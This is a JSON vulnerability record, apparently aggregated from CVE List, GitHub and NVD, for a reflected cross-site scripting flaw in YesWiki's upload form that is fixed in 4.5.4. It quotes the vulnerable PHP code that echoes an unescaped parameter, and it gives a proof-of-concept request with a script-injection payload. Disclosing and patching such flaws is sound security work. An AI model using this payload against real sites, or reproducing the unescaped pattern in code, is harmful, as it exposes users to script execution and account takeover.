{"id":"CVE-2025-46349","aliases":["CVE-2025-46349","GHSA-2f8p-qqx2-gwr2"],"related":[],"kind":"vulnerability","state":"published","title":"YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting","summary":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki is vulnerable to reflected XSS in the file upload form. This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on by the victim to perform arbitrary actions. This issue has been patched in version 4.5.4.","source":"cvelist"},{"lang":"en","text":"### Summary\nReflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication\n\nThis Proof of Concept has been performed using the followings:\n\n- YesWiki v4.5.3 (doryphore-dev branch)\n- Docker environnment (docker/docker-compose.yml)\n\n### Vulnerable code\nThe vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)\n```\n        public function showUploadForm()\n        {\n            $this->file = $_GET['file'];\n            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . \"</h3>\\n\";\n            echo '<form enctype=\"multipart/form-data\" name=\"frmUpload\" method=\"POST\" action=\"' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . \"\\\">\\n\"\n                . '\t<input type=\"hidden\" name=\"wiki\" value=\"' . $this->wiki->GetPageTag() . \"/upload\\\" />\\n\"\n                . '\t<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"' . $this->attachConfig['max_file_size'] . \"\\\" />\\n\"\n                . \"\t<input type=\\\"hidden\\\" name=\\\"file\\\" value=\\\"$this->file\\\" />\\n\"\n                . \"\t<input type=\\\"file\\\" name=\\\"upFile\\\" size=\\\"50\\\" /><br />\\n\"\n                . '\t<input class=\"btn btn-primary\" type=\"submit\" value=\"' . _t('ATTACH_SAVE') . \"\\\" />\\n\"\n                . \"</form>\\n\";\n        }\n```\n### PoC\n1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution\n```\nGET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: localhost:8085\nCache-Control: max-age=0\nsec-ch-ua: \"Chromium\";v=\"135\", \"Not-A.Brand\";v=\"8\"\nsec-ch-ua-mobile: ?0\nsec-ch-ua-platform: \"macOS\"\nAccept-Language: ru-RU,ru;q=0.9\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n```\n2. Get a response\n<img width=\"853\" alt=\"Снимок экрана 2025-04-11 в 02 04 55\" src=\"https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820\" />\n\n\n### Impact\nThis vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions","format":"markdown","source":"ghsa"},{"lang":"es","text":"YesWiki es un sistema wiki escrito en PHP. Antes de la versión 4.5.4, YesWiki era vulnerable a XSS reflejado en el formulario de subida de archivos. Esta vulnerabilidad permite a cualquier usuario malintencionado no autenticado crear un enlace en el que la víctima puede hacer clic para realizar acciones arbitrarias. Este problema se ha corregido en la versión 4.5.4.","source":"nvd"}],"published":"2025-04-29T14:38:12.000Z","modified":"2026-09-10T03:50:56.891Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","score":7.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","score":7.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L","score":7.6,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 4.5.4","status":"affected"}],"vendor":"YesWiki","product":"yeswiki","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"4.5.3"}],"ecosystem":"Packagist","package":"yeswiki/yeswiki","purl":"pkg:composer/yeswiki/yeswiki","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.5.4"}],"vendor":"yeswiki","product":"yeswiki","cpe":"cpe:2.3:a:yeswiki:yeswiki:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/YesWiki/yeswiki/pull/1264/commits/6edde40eb7eeb5d60619ac4d1e0a0422d92e9524","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46349","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/YesWiki/yeswiki/commit/0dac9e2fb2a5e69f13a3c9f761ecae6ed9676206","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/YesWiki/yeswiki","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-04-29T18:01:18.455Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-46349","url":"https://www.cve.org/CVERecord?id=CVE-2025-46349","licence":"CVE Terms of Use","modified":"2025-04-29T18:01:20.769Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2f8p-qqx2-gwr2","url":"https://github.com/advisories/GHSA-2f8p-qqx2-gwr2","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:56.891Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-46349","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46349","licence":"Public domain","modified":"2026-06-17T09:26:16.963Z"}],"updatedAt":"2026-11-25T22:58:57.120Z","epss":{"score":0.00656,"percentile":0.52693,"date":"2026-12-01T12:00:22.000Z"}}